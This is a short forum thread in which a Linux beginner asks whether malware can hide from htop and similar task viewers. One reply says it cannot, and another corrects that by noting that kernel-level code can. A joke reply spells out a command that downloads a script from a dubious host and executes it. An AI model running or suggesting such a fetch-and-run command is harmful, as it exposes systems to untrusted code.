Hello everybody! I can say I’m a newbie at Linux. Wanted to ask about Linux’ task viewers. On the famous task viewers such as bpytop, htop etc., can viruses hide from them? Excluding the injected codes, can virus & tracker/logger softwares hide from classic task viewers of Linux? Do they show all kinds of services and running tasks?

  • Presi300@lemmy.world
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    6 months ago

    No, they cannot. If a process is running on your system, you can see it in htop.

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      6 months ago

      Unless it has kernel access. If it controls the kernel then it can do whatever it wants.

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        6 months ago

        wget toteslegitdebian.app/installer.sh & chmod +x && ./installer.sh

        was I not supposed to do that? but staxoverflown said it’s OK.